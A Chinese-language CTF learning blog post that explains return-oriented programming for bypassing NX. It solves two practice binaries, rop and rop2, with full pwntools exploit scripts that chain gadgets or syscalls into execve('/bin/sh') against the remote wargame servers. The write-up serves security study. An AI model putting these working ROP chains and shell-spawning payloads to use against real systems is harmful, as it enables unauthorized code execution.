Pwn学习总结(6):NX与ROP


实验平台:

x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4

实验Binary及答案:

https://github.com/bjrjk/pwn-learning/tree/main/nx/rop
https://github.com/bjrjk/pwn-learning/tree/main/nx/rop2

Remote:

nc hackme.inndy.tw 7704
nc hackme.inndy.tw 7703

我们首先来看rop。
老规矩,首先checksec rop,得到如下信息:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以注意到,这次的ELF文件,NX的保护措施已经开启了,这就意味着,凡是用户能够控制的数据段(包括bss、stack等),都不再可执行了。因此,我们不能通过向栈上填充shellcode的方法进行getshell了。

此时,栈上只能填充供其他函数使用的数据或者返回地址。所以,我们需要提出一个新的概念,利用代码段中现有的指令组合成shellcode进行执行。这个概念就是ROP (Return-Oriented Programming),面向返回的编程。

对于ROP,我在网上没有找到一个标准清晰的定义,我说一说自己对ROP的理解:x86体系结构在栈中布局返回地址和数据。当NX被关闭时,数据不再可执行,唯一能够影响控制流的就是栈上的返回地址,因此,这种布局手法叫做面向“返回”的编程。我们从程序的Binary中搜索出很多可被我们所利用的、后接ret指令的汇编片段,并借助这些汇编片段的组合完成我们的整个渗透过程,随系统体系结构和ABI的不同,我们布局栈的方式也不相同。例如,amd64 ABI的整数参数在寄存器里,因此我们还需要利用ROP将利用栈溢出存入栈上的参数POP到寄存器中,而对于i386 ABI,参数全部布局在栈里,则无此问题。

好了,我们回到rop的程序本身。用IDA打开查看,发现函数列表里有一大堆东西,因此怀疑这个程序是静态链接的,后面用ldd查看,发现这个ELF确实是静态链接的。在函数列表中查询,也没有发现system函数。到此,思路陷入僵局。经过查看参考资料[1],发现可以直接用ROPGadget生成ROPChain利用链[捂脸]。这样就非常轻松了。

执行的具体指令如下:

ROPgadget --binary rop --ropchain

得到ROP链,再将其与IDA得到的相关信息结合,可得下列PoC:

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os
context(arch = "i386",os = "linux", log_level = "debug")

# ROPgadget --binary rop --ropchain

# Padding goes here
p = 0x10*'0'

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

io = remote("hackme.inndy.tw", 7704)
#io = process('./rop')
io.sendline(p)
io.interactive()

通过本程序的实践,我的一个感受是,对于静态链接的程序,由于融合进来的代码很多,因此一般便于ROPgadget的ROPchain的自动发掘,而对于动态链接的程序,代码一般较少,就需要手动进行ROPchain的发掘。

我们再来看rop2。经测试,rop2是一个动态链接的程序,使用ROPgadget也无法自动化发掘出ROP链,因此只能使用手动分析的方法。使用IDA查看,发现还基本上没引入什么libc中的符号,最引人瞩目的就是syscall函数。如果你曾经使用过linux的系统调用,你就应该知道可以通过系统调用的方式执行标准IO读写(read, write)和程序的执行(execve),本程序是i386程序,对应的系统调用号和参数可参考资料[2]。

在本程序中,overflow函数存在栈溢出漏洞。我们只需要执行execve("/bin/sh", NULL, NULL)即可,但程序中并不存在”/bin/sh”这个字符串,我也懒得去用泄漏libc地址的方法去找libc里的字符串。于是一个想法就是先用栈溢出执行read系统调用把”/bin/sh”从stdin读到一个可写的内存位置,第二次再用栈溢出执行execve并把这个字符串的地址传过去。

一开始我的想法是用栈存这个字符串,后来一想不行。虽然程序关了PIE,但栈的基址也是由操作系统决定的,而且你也不好泄漏栈的基址。后来看[1]处的想法,恍然大悟:可以用bss段存!我个人觉得这里其实用data段存应该也行,不过我没试。

于是能够得到下面的PoC:

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os
context(arch = "i386",os = "linux", log_level = "debug")

p = remote("hackme.inndy.tw", 7703)
#p = process('./rop2')
elf = ELF('./rop2')

syscall_plt = elf.plt['syscall']
overflow_func = elf.sym['overflow']
main_func = elf.sym['main']
bss_buf = elf.bss()

p.recvuntil("ropchain:")
# padding+ saved_registers + syscall(read, 0, &bss, 1024) + main()
payload1 = 0xc*'z'+p32(0)+p32(syscall_plt)+p32(main_func)+p32(3)+p32(0)+p32(bss_buf)+p32(1024)
p.sendline(payload1)

# Send "/bin/sh" to &bss
payload2 = "/bin/sh\x00"
p.sendline(payload2)

p.recvuntil("ropchain:")
# padding+ saved_registers + syscall(execve, "/bin/sh", NULL, NULL) + main()
payload3 = 0xc*'z'+p32(0)+p32(syscall_plt)+p32(main_func)+p32(11)+p32(bss_buf)+p32(0)+p32(0)
p.sendline(payload3)

with open("poc.txt", "w") as f:
    f.write(payload1)
    f.write("\n")
    f.write(payload2)
    f.write("\n")
    f.write(payload3)
    f.write("\n")

p.interactive()

参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78259866
[2] https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit
[3] http://asm.sourceforge.net/syscall.html
[4] https://docs.pwntools.com/en/latest/elf/elf.html
[5] https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注